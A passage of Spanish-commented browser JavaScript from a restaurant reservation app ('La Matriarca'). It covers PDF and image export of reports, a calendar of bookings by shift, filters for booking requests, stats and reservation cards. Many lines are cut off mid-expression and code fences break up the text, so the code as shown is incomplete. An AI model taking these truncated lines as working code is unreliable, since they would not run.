// (día, mes, clientes especiales, estadísticas de solicitudes).
// OJO — diferencia real con "Imprimir / Guardar como PDF": ese usa la
// paginación del propio navegador, que sabe evitar cortar una fila de la
```

```
// tabla justo en el borde de una hoja (ver break-inside:avoid en el CSS
// de impresión). Este método corta la captura cada cierta altura fija,
// así que en un caso raro podría partir una fila justo en el borde de una
// página — no debería notarse casi nunca (las filas son angostas), pero
// si Guillermo ve algo cortado a la mitad, esa es la explicación, y
// "Imprimir / Guardar como PDF" sigue siendo la opción 100% fiel al
// original para esos casos.
async function descargarInformeComoPDFRapido(){
  const contenedor = document.querySelector('#overlayInforme .informe-modal');
  const toolbar = document.getElementById('overlayInforme') ? document.querySelec
  const btn = document.getElementById('btnDescargarInformeImg');
  if(!contenedor) return;
  if(!window.jspdf || !window.jspdf.jsPDF){
    alert('No fue posible cargar el generador de PDF (revisa la conexión a intern
    return;
  }
  if(toolbar) toolbar.style.display = 'none';
  const textoOriginalBtn = btn ? btn.textContent : '';
  if(btn){ btn.textContent = '⏳ Generando PDF...'; btn.disabled = true; }
  // En el celular, la tabla se ve angosta (el texto se parte en varias
  // líneas) porque el modal solo tiene el ancho de la pantalla del
  // teléfono — muy distinto a como se ve impreso. Se ensancha temporal
  // (como si fuera una pantalla grande) para que la captura salga
  // parecida a la impresa, con menos texto partido, y se deja como
  // estaba al terminar.
  // El modal ADEMÁS tiene su propio scroll interno (max-height + overflow,
  // para que quepa en pantalla) — eso hacía que la captura solo agarrara
  // el pedazo que se veía en ese momento según dónde tuviera el scroll
  // Guillermo, en vez del documento completo. Se le quita también el
  // scroll (max-height:none; overflow:visible) antes de capturar, para
  // que TODO el contenido esté realmente ahí, sin importar el scroll.
  const anchoOriginal = contenedor.style.width;
  const maxAnchoOriginal = contenedor.style.maxWidth;
  const maxAltoOriginal = contenedor.style.maxHeight;
  const overflowOriginal = contenedor.style.overflowY;
  contenedor.style.width = '1400px';
  contenedor.style.maxWidth = 'none';
  contenedor.style.maxHeight = 'none';
  contenedor.style.overflowY = 'visible';
  contenedor.scrollTop = 0;
  await new Promise(r => requestAnimationFrame(() => requestAnimationFrame(r)));
  try{
    const canvas = await ieCapturarCanvas(contenedor, 2, '#ffffff');
    const { jsPDF } = window.jspdf;
    const margenMM = 10;
    // Forma clásica del constructor (orientación, unidad, formato) — más
    // confiable entre versiones que la forma con objeto.
```

```
    const pdf = new jsPDF('landscape', 'mm', 'letter');
    const pageW = pdf.internal.pageSize.getWidth();
    const pageH = pdf.internal.pageSize.getHeight();
    const contentW = pageW - margenMM*2;
    const contentH = pageH - margenMM*2;
    // Cuántos píxeles del canvas caben en el ancho útil de una hoja —
    // define la escala; con eso se saca cuántos píxeles de ALTO caben en
    // una hoja, y se va cortando el canvas en tiras de esa altura.
    const pxPorMM = canvas.width / contentW;
    const altoPaginaPx = Math.max(1, Math.floor(contentH * pxPorMM));
    let y = 0;
    let primeraPagina = true;
    while(y < canvas.height){
      const altoTiraPx = Math.min(altoPaginaPx, canvas.height - y);
      const tira = document.createElement('canvas');
      tira.width = canvas.width;
      tira.height = altoTiraPx;
      const ctx = tira.getContext('2d');
      ctx.fillStyle = '#ffffff';
      ctx.fillRect(0, 0, tira.width, tira.height);
      ctx.drawImage(canvas, 0, y, canvas.width, altoTiraPx, 0, 0, canvas.width, a
      const imgData = tira.toDataURL('image/jpeg', 0.92);
      if(!primeraPagina) pdf.addPage();
      pdf.addImage(imgData, 'JPEG', margenMM, margenMM, contentW, altoTiraPx / px
      primeraPagina = false;
      y += altoTiraPx;
    }
    const fechaArchivo = (typeof fechaISO === 'function' && typeof fechaActual !=
    pdf.save(`Informe_La_Matriarca_${fechaArchivo}.pdf`);
  } catch(err){
    console.error('Error generando el PDF rápido:', err);
    alert('No fue posible generar el PDF. Detalle: ' + (err && err.message ? err.
  } finally {
    contenedor.style.width = anchoOriginal;
    contenedor.style.maxWidth = maxAnchoOriginal;
    contenedor.style.maxHeight = maxAltoOriginal;
    contenedor.style.overflowY = overflowOriginal;
    if(toolbar) toolbar.style.display = 'flex';
    if(btn){ btn.textContent = textoOriginalBtn; btn.disabled = false; }
  }
}
async function mostrarImagenParaGuardar(){
  const poster = document.getElementById('iePoster');
  const toolbar = document.getElementById('ieToolbar');
  const wrap = document.getElementById('ieImagenGuardarWrap');
  const img = document.getElementById('ieImagenGuardar');
  toolbar.style.display = 'none';
```

```
  try{
    const canvas = await ieCapturarCanvas(poster, 2.2);
    img.src = canvas.toDataURL('image/jpeg', 0.92);
    poster.parentElement.style.display = 'none';
    wrap.style.display = 'block';
  } catch(err){
    console.error('Error generando imagen para guardar:', err);
    alert('No fue posible generar la imagen. Detalle: ' + (err && err.message ? e
  } finally {
    toolbar.style.display = 'flex';
  }
}

async function descargarInformeEjecutivoPNG(){
  const poster = document.getElementById('iePoster');
  const toolbar = document.getElementById('ieToolbar');
  toolbar.style.display = 'none'; // que no salga la barra de botones en la captu
  try{
    const canvas = await ieCapturarCanvas(poster, 2.5);
    const nombreMes = MESES[ieMesActual.mes].charAt(0).toUpperCase()+MESES[ieMesA
    await descargarCanvasComoArchivo(canvas, `Informe_Reservas_La_Matriarca_${nom
  } catch(err){
    console.error('Error descargando informe (PNG):', err);
    alert('No fue posible generar la imagen. Detalle: ' + (err && err.message ? e
  } finally {
    toolbar.style.display = 'flex';
  }
}

// Versión liviana en JPG comprimido — pensada para mandar por WhatsApp sin
// que pese varios megas. El PDF que había antes incrustaba la imagen en
// PNG sin comprimir y quedaba pesadísimo; un JPG a buena calidad se ve
// prácticamente igual para este tipo de cartelera (colores sólidos y
// texto) y pesa una fracción de eso.
async function descargarInformeEjecutivoLiviana(){
  const poster = document.getElementById('iePoster');
  const toolbar = document.getElementById('ieToolbar');
  toolbar.style.display = 'none';
  try{
    const canvas = await ieCapturarCanvas(poster, 1.8);
    const nombreMes = MESES[ieMesActual.mes].charAt(0).toUpperCase()+MESES[ieMesA
    await descargarCanvasComoArchivo(canvas, `Informe_Reservas_La_Matriarca_${nom
  } catch(err){
    console.error('Error descargando informe (liviano):', err);
    alert('No fue posible generar la imagen liviana. Detalle: ' + (err && err.mes
  } finally {
    toolbar.style.display = 'flex';
```

```
  }
}

function renderCalendarioInline(){
  const wrap = document.getElementById('calendarioInlineWrap');
  if(!wrap || wrap.style.display === 'none') return;

  document.getElementById('calInlineTitle').textContent = `${MESES[calInlineMes]}

  const primerDia = new Date(calInlineAno, calInlineMes, 1);
  const offset = primerDia.getDay();
  const diasEnMes = new Date(calInlineAno, calInlineMes+1, 0).getDate();
  const hoyISO = fechaISO(new Date());
  const selISO = fechaISO(fechaActual);

  // El número del calendario cuenta SOLO reservas Aprobadas — a propósito
  // distinto de la lista del día, que sí muestra Pendientes para que el
  // staff las pueda gestionar. Aquí el número es un total "ya confirmado",
  // no cuánto hay en trámite.
  // Si hay un turno específico activo (Desayuno/Almuerzo/Cena), el
  // calendario respeta ese filtro y solo suma ese turno — así el número de
  // cada día refleja exactamente lo que se está viendo, no siempre el total.
  const reservasDelMes = reservas.filter(r => {
    if(r.estado !== (filtroComercialPorDia ? 'proceso_comercial' : 'confirmada'))
    if(turnoActivo !== 'todos' && !reservaCoincideConTurnoActivo(r, turnoActivo))
    const [y,m] = r.fecha.split('-').map(Number);
    return y===calInlineAno && m===(calInlineMes+1);
  });
  const diasConReserva = new Set(reservasDelMes.map(r=>r.fecha));
  const diasConEspecial = new Set(reservasDelMes.filter(r=>Number(r.pax)>=30).map
  // Total de PERSONAS (suma de pax de todas las reservas), no cantidad de
  // reservas — así el número refleja cuánta gente hay ese día en total.
  const conteoPorDia = {};
  reservasDelMes.forEach(r => { conteoPorDia[r.fecha] = (conteoPorDia[r.fecha] ||

  let html = '';
  const diasMesAnterior = new Date(calInlineAno, calInlineMes, 0).getDate();
  for(let i=offset-1; i>=0; i--){
    html += `<div class="cal-day muted">${diasMesAnterior-i}</div>`;
  }
  for(let d=1; d<=diasEnMes; d++){
    const fecha = new Date(calInlineAno, calInlineMes, d, 12);
    const iso = fechaISO(fecha);
    let cls = 'cal-day';
    if(iso===hoyISO) cls += ' today';
    if(iso===selISO) cls += ' selected';
    const tieneReserva = diasConReserva.has(iso);
```

```
    const tieneEspecial = diasConEspecial.has(iso);
    // El candado respeta el turno que se está viendo: si estás en
    // "Almuerzo" y solo la Cena está bloqueada, no debe salir candado acá
    // — solo cuando el turno bloqueado sea justo el que tienes activo (o
    // cualquiera, si estás viendo "Todos"). El micrófono 🎤 es distinto:
    // avisa que hay un show especial anunciado ese turno, pero SIN
    // bloquear nada — el cliente puede reservar igual.
    const infoTurnoDia = infoBloqueoTurno(iso, turnoRealDesdeActivo(turnoActivo))
    const bloqueado = esBloqueoDuro(infoTurnoDia);
    const soloShow = !!infoTurnoDia && infoTurnoDia.tipo === 'show_especial';
    const total = conteoPorDia[iso] || 0;
    let marca = '';
    if(tieneReserva){
      marca = `<span class="cal-day-count${tieneEspecial ? ' especial' : ''}">${t
      if(bloqueado) marca += `<span class="cal-day-lock" title="Este día tiene tu
      else if(soloShow) marca += `<span class="cal-day-lock" title="Show especial
    } else if(bloqueado){
      marca = `<span class="cal-day-count bloqueado">🔒</span>`;
    } else if(soloShow){
      marca = `<span class="cal-day-count" style="background:#3a5a9c;">🎤</span>`
    }
    html += `<div class="${cls}${bloqueado?' cal-day-bloqueado':''}" onclick="sel
  }
  const totalCeldas = offset + diasEnMes;
  const restante = (7 - (totalCeldas % 7)) % 7;
  for(let d=1; d<=restante; d++){
    html += `<div class="cal-day muted">${d}</div>`;
  }
  document.getElementById('calInlineDays').innerHTML = html;

  // Si el mes que se está mirando no es el del día seleccionado, lo avisamos
  // claramente para que no se confunda con la información mostrada abajo.
  const avisoEl = document.getElementById('calAvisoNavegando');
  const explorandoOtroMes = (calInlineMes !== fechaActual.getMonth() || calInline
  if(explorandoOtroMes){
    avisoEl.style.display = 'block';
    avisoEl.textContent = `👀 Estás explorando ${MESES[calInlineMes]} — la inform
  } else {
    avisoEl.style.display = 'none';
  }
}

function seleccionarDiaInline(d){
  // El promotor no puede navegar a otro día — solo trabaja la fecha de
  // su evento, fija.
  if(usuarioActual && usuarioActual.rol === 'promotor') return;
  fechaActual = new Date(calInlineAno, calInlineMes, d, 12);
```

```
  const grupo = HORARIOS[grupoDeFecha(fechaActual)];
  if(turnoActivo !== 'todos' && !grupo[turnoRealDesdeActivo(turnoActivo)].activo)
    turnoActivo = ['almuerzo','cena','desayuno'].find(t=>grupo[t].activo) || 'alm
  }
  renderAll();
}

function toggleFiltroEspecialesSolicitudes(){
  filtroEspecialesSolicitudes = !filtroEspecialesSolicitudes;
  document.getElementById('btnFiltroEspecialesSol').classList.toggle('activo', fi
  renderSolicitudesScreen();
}

function esRegistroDelFlujoSolicitudes(r){
  return r.pasoPorSolicitud === true || r.estado==='solicitud' ||
    r.estado==='pendiente_aprobacion' || r.aprobadaPorCliente !== undefined;
}

function solicitudesLlegadasEnDiaVisible(){
  const isoLlegada = fechaISO(fechaSolicitudes);
  return reservas.filter(r => esRegistroDelFlujoSolicitudes(r) && fechaSolicitudE
}

function fechaFiltroReservaObj(iso){
  if(!iso) return null;
  const partes = iso.split('-').map(Number);
  if(partes.length!==3 || partes.some(n=>!Number.isFinite(n))) return null;
  return new Date(partes[0], partes[1]-1, partes[2], 12);
}

function etiquetaFechaFiltroReserva(iso){
  const d = fechaFiltroReservaObj(iso);
  if(!d || isNaN(d.getTime())) return '';
  return `${DIAS[d.getDay()]} ${d.getDate()} de ${MESES[d.getMonth()]}`;
}

function actualizarBotonFiltroFechaReserva(){
  const btn = document.getElementById('btnFiltroFechaReserva');
  const texto = document.getElementById('textoFiltroFechaReserva');
  if(!btn || !texto) return;
  btn.classList.toggle('activo', Boolean(filtroFechaReservaSolicitudes));
  texto.textContent = filtroFechaReservaSolicitudes
    ? `Fecha de reserva: ${etiquetaFechaFiltroReserva(filtroFechaReservaSolicitud
    : 'Filtrar por fecha de reserva';
}

function togglePanelFiltroFechaReserva(){
```

```
  const panel = document.getElementById('panelFiltroFechaReserva');
  const btn = document.getElementById('btnFiltroFechaReserva');
  if(!panel || !btn) return;
  const abrir = !panel.classList.contains('abierto');
  panel.classList.toggle('abierto', abrir);
  btn.classList.toggle('abierto', abrir);
  if(!abrir) return;

  filtroFechaReservaBorrador = filtroFechaReservaSolicitudes;
  const primeraFechaDisponible = solicitudesLlegadasEnDiaVisible()
    .map(r=>r.fecha).filter(Boolean).sort()[0];
  const base = fechaFiltroReservaObj(filtroFechaReservaSolicitudes || primeraFech
  calFiltroFechaReservaMes = base.getMonth();
  calFiltroFechaReservaAno = base.getFullYear();
  renderCalendarioFiltroFechaReserva();
}

function cambiarMesFiltroFechaReserva(delta){
  calFiltroFechaReservaMes += delta;
  if(calFiltroFechaReservaMes<0){calFiltroFechaReservaMes=11; calFiltroFechaReser
  if(calFiltroFechaReservaMes>11){calFiltroFechaReservaMes=0; calFiltroFechaReser
  renderCalendarioFiltroFechaReserva();
}

function renderCalendarioFiltroFechaReserva(){
  const titulo = document.getElementById('tituloCalFiltroFechaReserva');
  const diasEl = document.getElementById('diasCalFiltroFechaReserva');
  if(!titulo || !diasEl) return;
  titulo.textContent = `${MESES[calFiltroFechaReservaMes]} ${calFiltroFechaReserv

  // Los contadores del calendario corresponden solo a las solicitudes que
  // llegaron en el día actualmente abierto en la pestaña Solicitudes.
  const conteoPorFechaReserva = {};
  solicitudesLlegadasEnDiaVisible().forEach(r=>{
    if(r.fecha) conteoPorFechaReserva[r.fecha] = (conteoPorFechaReserva[r.fecha]
  });

  const primerDia = new Date(calFiltroFechaReservaAno, calFiltroFechaReservaMes,
  const offset = primerDia.getDay();
  const diasEnMes = new Date(calFiltroFechaReservaAno, calFiltroFechaReservaMes+1
  const hoyISO = fechaISO(new Date());
  let html = '';
  const diasMesAnterior = new Date(calFiltroFechaReservaAno, calFiltroFechaReserv
  for(let i=offset-1; i>=0; i--) html += `<div class="cal-day muted">${diasMesAnt
  for(let d=1; d<=diasEnMes; d++){
    const iso = fechaISO(new Date(calFiltroFechaReservaAno, calFiltroFechaReserva
    let cls = 'cal-day';
```

```
    if(iso===hoyISO) cls += ' today';
    if(iso===filtroFechaReservaBorrador) cls += ' selected';
    const cantidad = conteoPorFechaReserva[iso] || 0;
    const marca = cantidad ? `<div class="cal-day-marcas"><span class="cal-day-co
    html += `<div class="${cls}" onclick="seleccionarFechaFiltroReserva(${d})">${
  }
  const totalCeldas = offset + diasEnMes;
  const restante = (7 - (totalCeldas % 7)) % 7;
  for(let d=1; d<=restante; d++) html += `<div class="cal-day muted">${d}</div>`;
  diasEl.innerHTML = html;
  actualizarResumenFiltroFechaReserva(conteoPorFechaReserva);
}

function seleccionarFechaFiltroReserva(d){
  filtroFechaReservaBorrador = fechaISO(new Date(calFiltroFechaReservaAno, calFil
  renderCalendarioFiltroFechaReserva();
}

function actualizarResumenFiltroFechaReserva(conteoOpcional){
  const resumen = document.getElementById('resumenFiltroFechaReserva');
  const aplicar = document.getElementById('btnAplicarFiltroFechaReserva');
  if(!resumen || !aplicar) return;
  aplicar.disabled = !filtroFechaReservaBorrador;
  if(!filtroFechaReservaBorrador){
    resumen.textContent = 'Selecciona una fecha';
    return;
  }
  const conteo = conteoOpcional || solicitudesLlegadasEnDiaVisible().reduce((acc,
    if(r.fecha) acc[r.fecha] = (acc[r.fecha] || 0) + 1;
    return acc;
  },{});
  const cantidad = conteo[filtroFechaReservaBorrador] || 0;
  resumen.textContent = `${etiquetaFechaFiltroReserva(filtroFechaReservaBorrador)
}

function aplicarFiltroFechaReserva(){
  if(!filtroFechaReservaBorrador) return;
  filtroFechaReservaSolicitudes = filtroFechaReservaBorrador;
  const panel = document.getElementById('panelFiltroFechaReserva');
  const btn = document.getElementById('btnFiltroFechaReserva');
  if(panel) panel.classList.remove('abierto');
  if(btn) btn.classList.remove('abierto');
  renderSolicitudesScreen();
}

function limpiarFiltroFechaReserva(){
  filtroFechaReservaSolicitudes = '';
```

```
  filtroFechaReservaBorrador = '';
  const panel = document.getElementById('panelFiltroFechaReserva');
  const btn = document.getElementById('btnFiltroFechaReserva');
  if(panel) panel.classList.remove('abierto');
  if(btn) btn.classList.remove('abierto');
  renderSolicitudesScreen();
}

function renderStats(){
  const grupoDia = HORARIOS[grupoDeFecha(fechaActual)];
  // "Todos" combina la capacidad y el horario de los 3 turnos activos ese
  // día, en vez de usar un solo turno (que no existe como entrada aparte).
  const grupo = turnoActivo === 'todos'
    ? {
        cap: ['desayuno','almuerzo','cena'].reduce((a,t)=>a+(grupoDia[t].activo?g
        inicio: 'Todo el',
        fin: 'día'
      }
    : grupoDia[turnoRealDesdeActivo(turnoActivo)];
  const rs = reservasDelTurno().filter(r=>r.estado!=='cancelada');
  const pax = rs.reduce((a,r)=>a+Number(r.pax||0),0);
  const mesasOcupadas = new Set(rs.map(r=>r.mesa).filter(Boolean)).size;
  const totalMesas = SALONES.reduce((a,s)=>a+s.mesas.length,0);
  const pct = grupo.cap ? Math.round(pax/grupo.cap*100) : 0;
  document.getElementById('statsBar').innerHTML = `
    <div class="stat">Pax <b>${pax}</b><span class="max">/ ${grupo.cap}</span></d
    <div class="stat">Mesas <b>${mesasOcupadas}</b><span class="max">/ ${totalMes
    <div class="stat">Ocupación <b>${pct}%</b></div>
    <div class="stat">Horario <b>${grupo.inicio}-${grupo.fin}</b></div>
  `;
}

/* ============ RENDER: LISTA ============ */
// Compara nombre o celular de una reserva contra lo que el staff escribió
// en el buscador — sin distinguir mayúsculas/acentos para el nombre, y
// comparando solo dígitos para el celular (así "311 660" o "3116600470"
// encuentran lo mismo sin importar el formato).
function coincideBusquedaCliente(r, texto){
  if(!texto) return true;
  const t = texto.trim().toLowerCase();
  // Atajo: escribir "musico"/"música" en el mismo buscador de siempre
  // muestra solo las reservas con la solicitud especial de músicos
  // marcada — así se puede dar seguimiento sin tener que abrir cada
  // reserva una por una.
  const tNormAtajo = t.normalize('NFD').replace(/[\u0300-\u036f]/g,'');
  if(tNormAtajo === 'musico' || tNormAtajo === 'musicos' || tNormAtajo === 'music
    return !!r.solicitudMusico;
```

```
  }
  const nombreNorm = (r.nombre||'').toLowerCase().normalize('NFD').replace(/[\u03
  const tNorm = t.normalize('NFD').replace(/[\u0300-\u036f]/g,'');
  if(nombreNorm.includes(tNorm)) return true;
  const soloDigitosBusqueda = t.replace(/\D/g,'');
  if(soloDigitosBusqueda && (r.celular||'').replace(/\D/g,'').includes(soloDigito
  return false;
}

function renderLista(){
  const busquedaInput = document.getElementById('buscarClientePorDia');
  const textoBusqueda = busquedaInput ? busquedaInput.value : '';
  const btnLimpiarPorDia = document.getElementById('btnLimpiarBuscarPorDia');
  if(btnLimpiarPorDia) btnLimpiarPorDia.style.display = textoBusqueda ? 'block' :
  const el = document.getElementById('panelLista');

  // Modo búsqueda global: si hay texto escrito, se ignora por completo el
  // día/turno que se esté mirando — se busca ese cliente en TODAS las
  // fechas, porque su reserva puede estar en cualquier otro día, no
  // necesariamente el que está abierto en pantalla ahora mismo.
  if(textoBusqueda){
    const resultados = reservas
      .filter(r => coincideBusquedaCliente(r, textoBusqueda))
      .sort((a,b) => (b.fecha+b.hora).localeCompare(a.fecha+a.hora));
    if(resultados.length === 0){
      el.innerHTML = `<div class="empty-state">No se encontró ningún cliente que
      return;
    }
    el.innerHTML = `<div class="empty-state" style="padding:10px 4px; text-align:
      + resultados.map(r => tarjetaReservaHTML(r, true)).join('');
    return;
  }

  // Solo Aprobadas para los totales de Abono/Cover/Mesa de este resumen —
  // las Pendientes se siguen viendo en la lista de abajo para gestionarlas,
  // pero no deben sumar en estos totales de dinero recaudado/por cobrar.
  const rsTodas = reservasDelTurno().filter(r=>r.estado==='confirmada');
  // Orden pedido por Memo: las reservas APROBADAS más recientemente van
  // arriba, las más viejas abajo — ya no se ordena por la hora de la
  // mesa. "ultimaEdicionEn" se guarda solo en el momento exacto en que la
  // reserva pasa a Confirmada (no en cada edición) — es la clave
  // principal de orden. Como esta marca no existe en reservas aprobadas
  // ANTES de que se creara este campo, se usa como respaldo el momento en
  // que llegó la solicitud ("horaSolicitud", que si existe casi siempre)
  // — así una reserva recién aprobada, aunque sea con una versión vieja
  // del sistema, igual sube cerca del tope en vez de irse hasta el final.
  // Solo si ninguna de las dos existe se cae al último respaldo: la hora
```

```
// de la mesa.
// Las canceladas ya no se muestran como tarjeta en este módulo — si el
// staff necesita revisar una cancelación, eso vive en Resumen/informes,
// no aquí en la lista del día a día.
const rs = reservasDelTurno().filter(r => r.estado !== 'cancelada').sort((a,b)
  const claveA = a.ultimaEdicionEn || a.horaSolicitud || '';
  const claveB = b.ultimaEdicionEn || b.horaSolicitud || '';
  if(claveA || claveB) return claveB.localeCompare(claveA);
  return a.hora.localeCompare(b.hora);
});
// Aviso de bloqueo: recuerda al staff que este día/turno ya no acepta
// solicitudes nuevas del cliente (solicitud.html lo respeta). No impide
// que el staff mismo cree una reserva manual aquí si hace falta hacer
// una excepción — solo informa.
const isoAviso = fechaISO(fechaActual);
let avisoBloqueoHtml = '';
if(diaTieneAlgunBloqueo(isoAviso) || diaTieneShowEspecial(isoAviso)){
  const dia = FECHAS_BLOQUEADAS[isoAviso] || {};
  const turnosConAlgo = ['desayuno','almuerzo','cena'].filter(t => dia[t]);
  const descripcion = turnosConAlgo.map(t => {
    const nombre = t.charAt(0).toUpperCase()+t.slice(1);
    const tipo = dia[t].tipo === 'evento' ? 'evento_privado' : dia[t].tipo;
    const etiqueta = tipo === 'evento_privado' ? 'evento privado — bloqueo tota
      : tipo === 'show_especial' ? 'show especial — no bloquea, solo se anuncia
      : 'sin disponibilidad — permite lista de espera';
    return `${nombre} (${etiqueta})`;
  }).join(', ');
  const icono = diaTieneAlgunBloqueo(isoAviso) ? '🔒' : '🎤';
  avisoBloqueoHtml = `<div class="aviso-bloqueo-dia">${icono} Este día tiene: <
}
if(rs.length===0){
  // Aviso más útil: si este día SÍ tiene reservas pero en otro turno,
  // lo decimos explícitamente para no confundir con "no hay nada este día".
  // Esto solo aplica si estás viendo un turno específico — en "Todos" ya
  // se están mirando los 3 turnos, así que si está vacío es que no hay nada.
  const iso = fechaISO(fechaActual);
  // Etiquetas legibles — incluye Cena 1/Cena 2, que no son un turno real
  // pero sí un filtro que el staff puede tocar arriba.
  const nombresTurno = {desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cena',
  const candidatosOtrosTurnos = (turnoActivo === 'cena1' || turnoActivo === 'ce
    ? ['desayuno','almuerzo', turnoActivo==='cena1' ? 'cena2' : 'cena1']
    : ['desayuno','almuerzo','cena'];
  const otrosTurnos = turnoActivo === 'todos' ? [] : candidatosOtrosTurnos
    .filter(t => t !== turnoActivo)
    .filter(t => reservas.some(r => r.fecha===iso && reservaCoincideConTurnoAct
  if(otrosTurnos.length){
    const nombresTurnos = otrosTurnos.map(t => nombresTurno[t]||t).join(' y ');
```

```
      const resumenPartes = renderResumenTurnoHTML(rsTodas);
      el.innerHTML = avisoBloqueoHtml + resumenPartes.top + `<div class="empty-st
    } else {
      const resumenPartes2 = renderResumenTurnoHTML(rsTodas);
      el.innerHTML = avisoBloqueoHtml + resumenPartes2.top + `<div class="empty-s
    }
    return;
  }
function tarjetaReservaHTML(r, mostrarFecha){
  const mesaTxt = r.mesa ? mesaLabelCorto(r.mesa) : '—';
  const salonVipNombre = esSalonVipEspecial(r.mesa);
  const isVip = mesaEsVip(r.mesa) || !!salonVipNombre;
  const turnoLabels = {desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cena'};
  return `<div class="res-card ${r.estado==='cancelada'?'cancelada-card':''} ${r.
    ${r.eventoNombre ? `<div style="background:var(--gold); color:#1a1a1a; font-w
    ${r.solicitudMusico ? `<div style="background:#6d4fc9; color:#fff; font-weigh
    <div class="res-top">
      <div>
        <div class="res-hora">${mostrarFecha && r.fecha ? `${formatearFechaCorta(
        <div class="res-nombre">${escapeHtml(r.nombre)}</div>
      </div>
      <div class="res-top-right">
        <span class="badge ${r.estado}">${estadoLabel(r.estado)}</span>
        <span class="edit-hint">✎ Editar / Eliminar</span>
      </div>
    </div>
    <div class="res-meta">
      <span>${r.pax} pax</span>
      ${Number(r.pax)>=30?`<span class="especial-tag">⭐ Especial</span>`:''}
      ${r.celular?`<span class="tel-destacado">${escapeHtml(r.celular)}</span>`:'
      ${salonVipNombre ? `<span class="vip-tag">👑 VIP: ${escapeHtml(salonVipNomb
      ${textoAbonoBadge(r)}
      ${textoCoverBadge(r)}
      ${r.aprobadaPorCliente?`<span class="aprobada-tag">✓ Aprobada por cliente</
      ${r.comprobanteAbono?`<button class="btn-ver-comprobante" onclick='event.st
      ${r.comprobanteCover?`<button class="btn-ver-comprobante" onclick='event.st
      ${r.mesa?`<button class="btn-ver-comprobante" onclick='event.stopPropagatio
      ${r.obs?`<button class="btn-ver-comprobante" onclick='event.stopPropagation
    </div>
    ${(r.codigoReserva || r.ultimoEditorIniciales || r.ultimaEdicionEn) ? `
    <div class="res-firma">
      ${r.codigoReserva?`<span class="codigo-reserva-tag">${escapeHtml(r.codigoRe
      ${r.ultimaEdicionEn?`<span title="Fecha y hora en que se aprobó esta reserv
      ${r.ultimoEditorIniciales?`<span title="Última vez editada por ${escapeHtml
    </div>` : ''}
    ${r.estado==='solicitud'?`<div class="solicitud-hint">⚠ Sin mesa asignada — r
    ${r.estado==='pendiente_aprobacion'?`<div class="aprobacion-hint">📩 Enviada
```

```
    ${r.estado==='lista_espera'?`<div class="solicitud-hint">🕒 En lista de esper
    ${(r.celular || r.correo) ? `<div class="contacto-row"><div class="contacto-r
  </div>`;
}

  const cardsHtml = rs.map(r=>tarjetaReservaHTML(r, false)).join('');

  const resumenPartes3 = renderResumenTurnoHTML(rsTodas);
  el.innerHTML = avisoBloqueoHtml + resumenPartes3.top + cardsHtml + resumenParte
}

function renderResumenTurnoHTML(rsTodas){
  // Resumen general del DÍA por turno — siempre se calcula sobre los 3
  // turnos, sin importar cuál esté seleccionado arriba (Todos/Desayuno/
  // Almuerzo/Cena). Así, aunque estés viendo solo "Cena", igual ves de un
  // vistazo cuántas reservas hay en cada turno y el total del día completo.
  const iso = fechaISO(fechaActual);
  // Solo Aprobadas — las Pendientes no cuentan en estos totales, aunque
  // sigan visibles en la lista del día para que el staff las gestione.
  const reservasDia = reservas.filter(r=>r.fecha===iso && r.estado==='confirmada'
  // Canceladas de este mismo día — aparte del conteo de arriba (que es
  // solo lo activo), para saber cuánto se perdió/canceló sin tener que
  // ir a buscarlo reserva por reserva.
  const canceladasDia = reservas.filter(r=>r.fecha===iso && r.estado==='cancelada
  const canceladasDiaPax = canceladasDia.reduce((a,r)=>a+Number(r.pax||0),0);
  const porTurnoDia = [];
  ['desayuno','almuerzo'].forEach(t=>{
    const rs = reservasDia.filter(r=>r.turno===t);
    porTurnoDia.push({ turno:t, label:{desayuno:'Desayuno',almuerzo:'Almuerzo'}[t
  });
  // Cena: los viernes y sábados se desglosa en Cena 1 (temprano) / Cena 2
  // (show) según el campo franjaCena de cada reserva — es solo una vista
  // de reporte, no cambia el conteo total de cena. Entre semana se muestra
  // igual que siempre, sin desglosar.
  const rsCenaDia = reservasDia.filter(r=>r.turno==='cena');
  if(diaEsFinDeSemanaCena(iso)){
    const rsTemprano = rsCenaDia.filter(r=>r.franjaCena==='temprano');
    const rsShow = rsCenaDia.filter(r=>r.franjaCena==='show');
    const rsSinFranja = rsCenaDia.filter(r=>!r.franjaCena);
    porTurnoDia.push({ turno:'cena1', label:'🕛 Cena 1', count:rsTemprano.length,
    porTurnoDia.push({ turno:'cena2', label:'🎶 Cena 2', count:rsShow.length, pax
    if(rsSinFranja.length > 0){
      porTurnoDia.push({ turno:'cena', label:'Cena (sin franja)', count:rsSinFran
    }
  } else {
    porTurnoDia.push({ turno:'cena', label:'Cena', count:rsCenaDia.length, pax:rs
  }
```

```
const totalDiaReservas = reservasDia.length;
const totalDiaPax = reservasDia.reduce((a,r)=>a+Number(r.pax||0),0);
const resumenDiaHtml = `
  <div class="resumen-dia-turnos">
    <div class="resumen-dia-titulo">Resumen del día — todos los turnos</div>
    <div class="resumen-dia-fecha">${DIAS[fechaActual.getDay()]} ${fechaActual.
    <div class="resumen-dia-grid">
      ${porTurnoDia.map(t=>`
        <div class="resumen-dia-card ${turnoActivo===t.turno?'activo':''}">
          <div class="resumen-dia-card-label">${t.label}</div>
          <div class="resumen-dia-card-num">${t.pax}<span class="resumen-dia-ca
          <div class="resumen-dia-card-sub">${t.count} reserva${t.count===1?'':
        </div>`).join('')}
      <div class="resumen-dia-card total">
        <div class="resumen-dia-card-label">Total día</div>
        <div class="resumen-dia-card-num">${totalDiaPax}<span class="resumen-di
        <div class="resumen-dia-card-sub">${totalDiaReservas} reserva${totalDia
      </div>
    </div>
    ${canceladasDia.length > 0 ? `<div class="resumen-dia-canceladas">⚠ ${cance
  </div>
`;

const generalReservas = rsTodas.filter(r=>!mesaEsVip(r.mesa));
const generalPax = generalReservas.reduce((a,r)=>a+Number(r.pax||0),0);

// Los 3 salones VIP reales del plano (Puerta de Oro, Curramba, La
// Arenosa) — antes este resumen usaba una lista vieja ("VIP Azul/Grande/
// Pequeña") que ya no existe en el plano actual, así que las reservas de
// estos salones no se contaban en ningún lado. Se muestran siempre en
// este orden.
// v6.37: además del id viejo, se reconoce el nombre de la zona del plano
// libre (ver claveSalonVipRef) y se agregan filas para otras zonas VIP
// libres que tengan reservas ese turno.
const clavesVipResumen = Object.keys(SALON_ESPECIAL_LABELS);
rsTodas.forEach(r => (r.mesa||'').split('+').forEach(ref => {
  const k = claveSalonVipRef(ref);
  if(k && !clavesVipResumen.includes(k)) clavesVipResumen.push(k);
}));
